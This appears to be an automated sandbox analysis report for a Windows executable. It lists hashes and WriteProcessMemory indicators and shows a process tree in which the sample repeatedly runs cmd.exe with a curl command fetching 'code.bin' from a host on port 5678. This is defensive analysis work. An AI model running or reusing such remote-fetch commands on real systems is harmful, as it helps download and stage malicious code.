764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb

Analysis

user interaction
yes
max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/05/2026, 12:04

Target
764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe
Size 513KB
Sample260507-n8r5msc19z
SHA256 764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb
MD5 d323550d84a332029b9cf3758388c50e
SHA1 92e8349285ca8387da37e4773b7f49eb17a3c3c6
SHA512 140595e32f7cdb897170078a653bc97176f85a27e14473cbe2057651a6776926cf424d73e23761e6701335a6ce837ff248ef0343073acc9174226f62d62d96bd
SSDEEP 6144:b8Al34ETB4ETB4ETB4ETB4ETB4ETB4ETjagTsaDmlbVMS+9rDbZ8:bPRrrrrrrXagTx2V89rZ8
TLSH
T1A6B4B0C8B7C5ACEBC91946348EBF43A97B34F2C016468B131A6CF2351E177D0AC86E56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 2224	4712	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	84
PID 2224 wrote to memory of 1300	2224	cmd.exe	86
PID 4712 wrote to memory of 1492	4712	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	95
PID 1492 wrote to memory of 636	1492	cmd.exe	97
PID 4712 wrote to memory of 3388	4712	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	99
PID 3388 wrote to memory of 2636	3388	cmd.exe	101
PID 4712 wrote to memory of 4916	4712	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	102
PID 4916 wrote to memory of 4736	4916	cmd.exe	104
PID 4712 wrote to memory of 1164	4712	764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe	105
PID 1164 wrote to memory of 2608	1164	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe
"C:\Users\Admin\AppData\Local\Temp\764a75d4a4fc9bd5ad6d0a118bc69247738425e29fd66042f5505252a856fbfb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:636
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:2636
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:4736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "curl -s http://192.168.1.37:5678/code.bin"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\curl.exe
    curl -s http://192.168.1.37:5678/code.bin
    3⤵
    PID:2608